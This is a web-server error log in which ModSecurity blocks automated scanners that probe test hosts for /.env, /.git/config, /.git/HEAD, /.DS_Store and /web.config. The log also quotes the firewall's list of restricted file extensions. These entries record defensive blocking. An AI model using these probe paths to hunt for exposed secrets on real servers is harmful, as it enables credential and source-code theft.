[Sat Dec 14 17:44:38.589707 2024] [:error] [pid 3976860] [client 45.148.10.172:55118] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z1219uC4rgJ0KX3ar-DH2AAAAAE"]
[Sat Dec 14 17:44:38.590166 2024] [:error] [pid 3976860] [client 45.148.10.172:55118] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z1219uC4rgJ0KX3ar-DH2AAAAAE"]
[Sat Dec 14 22:14:00.801455 2024] [:error] [pid 3979941] [client 45.148.10.86:57616] [client 45.148.10.86] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z131GC4q024T8reBIqMj0AAAAAc"]
[Sat Dec 14 22:14:00.801914 2024] [:error] [pid 3979941] [client 45.148.10.86:57616] [client 45.148.10.86] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z131GC4q024T8reBIqMj0AAAAAc"]
[Sat Dec 14 22:14:00.802206 2024] [:error] [pid 3979941] [client 45.148.10.86:57616] [client 45.148.10.86] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z131GC4q024T8reBIqMj0AAAAAc"]
[Mon Dec 16 04:04:53.305038 2024] [:error] [pid 4019450] [client 93.123.109.193:53332] [client 93.123.109.193] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1-Y1e3ooG_g7yeYYWICgwAAAAY"]
[Mon Dec 16 04:04:53.306009 2024] [:error] [pid 4019450] [client 93.123.109.193:53332] [client 93.123.109.193] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1-Y1e3ooG_g7yeYYWICgwAAAAY"]
[Mon Dec 16 04:04:53.306398 2024] [:error] [pid 4019450] [client 93.123.109.193:53332] [client 93.123.109.193] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1-Y1e3ooG_g7yeYYWICgwAAAAY"]
[Mon Dec 16 07:59:53.818746 2024] [:error] [pid 4019450] [client 45.148.10.86:33412] [client 45.148.10.86] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1_P6e3ooG_g7yeYYWICjgAAAAY"]
[Mon Dec 16 07:59:53.819044 2024] [:error] [pid 4019450] [client 45.148.10.86:33412] [client 45.148.10.86] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1_P6e3ooG_g7yeYYWICjgAAAAY"]
[Mon Dec 16 07:59:53.819224 2024] [:error] [pid 4019450] [client 45.148.10.86:33412] [client 45.148.10.86] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z1_P6e3ooG_g7yeYYWICjgAAAAY"]
[Wed Dec 18 15:49:52.397908 2024] [:error] [pid 4079959] [client 45.148.10.172:56540] [client 45.148.10.172] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z2LhEKgwJwxSBD9kTbDh8QAAAAI"]
[Wed Dec 18 15:49:52.399438 2024] [:error] [pid 4079959] [client 45.148.10.172:56540] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z2LhEKgwJwxSBD9kTbDh8QAAAAI"]
[Wed Dec 18 15:49:52.399721 2024] [:error] [pid 4079959] [client 45.148.10.172:56540] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z2LhEKgwJwxSBD9kTbDh8QAAAAI"]
[Sat Jan 04 10:11:15.818612 2025] [:error] [pid 247601] [client 45.84.139.13:56954] [client 45.84.139.13] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z3j7M_8tHk3ZwWLQ4J61XQAAAAw"], referer: http://forst-trento.test.indacotrentino.com:80/.env
[Sat Jan 04 10:11:15.820695 2025] [:error] [pid 247601] [client 45.84.139.13:56954] [client 45.84.139.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z3j7M_8tHk3ZwWLQ4J61XQAAAAw"], referer: http://forst-trento.test.indacotrentino.com:80/.env
[Sat Jan 04 10:11:15.820913 2025] [:error] [pid 247601] [client 45.84.139.13:56954] [client 45.84.139.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z3j7M_8tHk3ZwWLQ4J61XQAAAAw"], referer: http://forst-trento.test.indacotrentino.com:80/.env
[Sun Jan 05 19:10:14.667756 2025] [:error] [pid 265378] [client 45.130.203.215:14185] [client 45.130.203.215] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z3rLBqhWhQXCPjAmY3W08wAAAAs"]
[Sun Jan 05 19:10:14.668264 2025] [:error] [pid 265378] [client 45.130.203.215:14185] [client 45.130.203.215] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z3rLBqhWhQXCPjAmY3W08wAAAAs"]
[Sun Jan 05 19:10:14.668711 2025] [:error] [pid 265378] [client 45.130.203.215:14185] [client 45.130.203.215] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z3rLBqhWhQXCPjAmY3W08wAAAAs"]
[Mon Jan 06 11:18:31.580636 2025] [:error] [pid 286455] [client 45.130.203.203:16337] [client 45.130.203.203] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z3ut9-h3feJYFHmvDjdnVAAAAAE"]
[Mon Jan 06 11:18:31.581105 2025] [:error] [pid 286455] [client 45.130.203.203:16337] [client 45.130.203.203] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z3ut9-h3feJYFHmvDjdnVAAAAAE"]
[Mon Jan 06 11:18:31.581544 2025] [:error] [pid 286455] [client 45.130.203.203:16337] [client 45.130.203.203] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z3ut9-h3feJYFHmvDjdnVAAAAAE"]
[Mon Jan 06 12:04:30.952038 2025] [:error] [pid 287920] [client 45.130.203.207:28389] [client 45.130.203.207] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z3u4vj8M9rA6jX7t63eNwwAAAAk"]
[Mon Jan 06 12:04:30.952345 2025] [:error] [pid 287920] [client 45.130.203.207:28389] [client 45.130.203.207] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z3u4vj8M9rA6jX7t63eNwwAAAAk"]
[Mon Jan 06 12:04:30.952637 2025] [:error] [pid 287920] [client 45.130.203.207:28389] [client 45.130.203.207] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "Z3u4vj8M9rA6jX7t63eNwwAAAAk"]
[Thu Jan 09 02:48:38.092949 2025] [authz_core:error] [pid 348939] [client 188.166.235.52:48084] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/laravel-filemanager
[Sun Jan 12 04:41:20.381278 2025] [authz_core:error] [pid 416184] [client 128.199.119.93:39252] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/vendor/laravel-filemanager
[Wed Jan 15 06:34:48.682826 2025] [authz_core:error] [pid 483256] [client 209.38.248.17:48780] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Wed Jan 15 06:34:49.984201 2025] [:error] [pid 483254] [client 209.38.248.17:48814] [client 209.38.248.17] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Z4dI-UEC4cmqbQJZaz_tAAAAAAo"]
[Wed Jan 15 06:34:49.984753 2025] [:error] [pid 483254] [client 209.38.248.17:48814] [client 209.38.248.17] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Z4dI-UEC4cmqbQJZaz_tAAAAAAo"]
[Wed Jan 15 06:34:49.985216 2025] [:error] [pid 483254] [client 209.38.248.17:48814] [client 209.38.248.17] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "Z4dI-UEC4cmqbQJZaz_tAAAAAAo"]
[Wed Jan 15 06:34:50.038037 2025] [:error] [pid 483248] [client 209.38.248.17:48828] [client 209.38.248.17] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4dI-tVey84shjrhQAqG1AAAAAU"]
[Wed Jan 15 06:34:50.038620 2025] [:error] [pid 483248] [client 209.38.248.17:48828] [client 209.38.248.17] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4dI-tVey84shjrhQAqG1AAAAAU"]
[Wed Jan 15 06:34:50.039045 2025] [:error] [pid 483248] [client 209.38.248.17:48828] [client 209.38.248.17] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4dI-tVey84shjrhQAqG1AAAAAU"]
[Wed Jan 15 06:34:50.092655 2025] [:error] [pid 483228] [client 209.38.248.17:48836] [client 209.38.248.17] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z4dI-gjL6d0iv5qmpP8MjAAAAAA"]
[Wed Jan 15 06:34:50.093271 2025] [:error] [pid 483228] [client 209.38.248.17:48836] [client 209.38.248.17] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z4dI-gjL6d0iv5qmpP8MjAAAAAA"]
[Wed Jan 15 06:34:50.094271 2025] [:error] [pid 483228] [client 209.38.248.17:48836] [client 209.38.248.17] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "Z4dI-gjL6d0iv5qmpP8MjAAAAAA"]
[Wed Jan 15 15:12:53.981565 2025] [:error] [pid 489190] [client 45.148.10.172:49744] [client 45.148.10.172] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4fCZfGQNR7qDEtyIGfFjgAAAAE"]
[Wed Jan 15 15:12:53.981917 2025] [:error] [pid 489190] [client 45.148.10.172:49744] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4fCZfGQNR7qDEtyIGfFjgAAAAE"]
[Wed Jan 15 15:12:53.982113 2025] [:error] [pid 489190] [client 45.148.10.172:49744] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "Z4fCZfGQNR7qDEtyIGfFjgAAAAE"]
[Wed Jan 15 22:36:37.074165 2025] [:error] [pid 483299] [client 213.232.87.228:44883] [client 213.232.87.228] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/web.config"] [unique_id "Z4gqZVr6rimmzaD00c3PbAAAAAI"]
